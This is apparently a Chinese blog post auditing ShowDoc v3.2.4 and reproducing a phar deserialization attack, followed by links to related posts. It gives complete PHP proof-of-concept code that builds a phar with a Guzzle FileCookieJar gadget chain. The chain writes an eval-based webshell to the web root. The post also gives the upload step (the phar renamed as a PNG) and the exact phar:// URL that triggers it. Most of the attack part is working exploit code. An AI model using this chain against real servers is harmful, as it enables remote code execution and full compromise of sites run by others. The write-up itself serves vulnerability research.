【代码审计】star7th/showdoc:v3.2.4 Phar反序列化写webshell

目录

漏洞速览

复现


漏洞速览

微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区

主要就是两步,sql注入拿到用户token,再以用户身份上传恶意phar包打phar反序列化

因为文件上传对用户权限没有限制,故本文对sql注入部分不做探讨。只关注假设已经拿到用户身份(如服务开放注册接口)后如何寻找反序列化链子并利用。

复现

关注官方的commit

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

这里public->private的过程,再结合new_is_writebale的is_dir功能,不难想到是对phar反序列化的patch

showdoc是基于thinkphp3.2.3的,直接拿现成的反序列化链子打RCE不很现实

关注composer.lock(类比pom.xml)寻找可用依赖

注意到guzzlehttp/guzzle

可以直接打现成的链子写文件,分析文章如下

popchain与对应poc的构造分析 - FreeBuf网络安全行业门户

复制代码
<?php
namespace GuzzleHttp\Cookie {
    class CookieJar
    {
        /** @var SetCookie[] Loaded cookie data */
        private $cookies;
        public function __construct()
        {
            $this->cookies = array(new SetCookie());
        }
        /** @var bool */
        private $strictMode;
    }
    class FileCookieJar extends CookieJar
    {
        private $filename = "/var/www/html/shell.php";
        private $storeSessionCookies = true;
    }
    class SetCookie
    {
        private $data = array('Expires' => '<?php eval($_POST[\'Z3r4y\']);?>');
    }
}
namespace {
    $phar = new Phar("doc.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $o = new \GuzzleHttp\Cookie\FileCookieJar();
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

生成phar包后改后缀为png直接上传

成功上传后回显文件路径

再触发phar反序列化

复制代码
/server/index.php?s=/home/index/new_is_writeable&file=phar:///var/www/html/Public/Uploads/2024-06-04/665ede741b7e5.png
相关推荐
℡終嚸♂6802 天前
n8n 未初始化接管到读取 Flag Writeup
服务器·web安全·web·n8n
曲幽2 天前
FastAPI配置管理避坑指南:从硬编码到 .env 与 pydantic_settings 类,连路由用法都给你捋清楚
python·fastapi·web·settings·config·pydantic·.env·dotenv·.env.prod
能年玲奈喝榴莲牛奶2 天前
OfficeWeb365 SaveDraw 任意文件上传漏洞
安全·web安全·渗透测试·漏洞复现
锐速网络2 天前
渗透测试中如何验证漏洞真实存在
web安全·网络安全·渗透测试·漏洞复现·sql注入·文件上传漏洞·漏洞验证
rannn_1113 天前
【FastAPI|快速入门】第一个FastAPI程序、路由、参数、相应类型、自定义响应数据格式、异常响应处理
python·ai·fastapi·web·开发
tryqaaa_3 天前
学习日志(二)【linux全部命令,http请求头{有例题},Php语法学习】
linux·学习·http·php·web
曲幽3 天前
FastAPI 文件上传避坑全指南:分块存盘、类型校验与安全兜底
python·upload·fastapi·web·file·chunk·validate·filetype
JTaoX4 天前
WriteUp-Reverse(Hello,CTF、re1、simple-unpack)
ida·web·writeup·reverse·upx
曲幽4 天前
FastAPI + Pydantic 模型终极实战手册:从能跑就行到固若金汤,这些技巧你一定用得上
python·fastapi·web·model·field·pydantic·validator·basemodel
里欧跑得慢5 天前
微交互设计模式:提升用户体验的细节之美
前端·css·flutter·web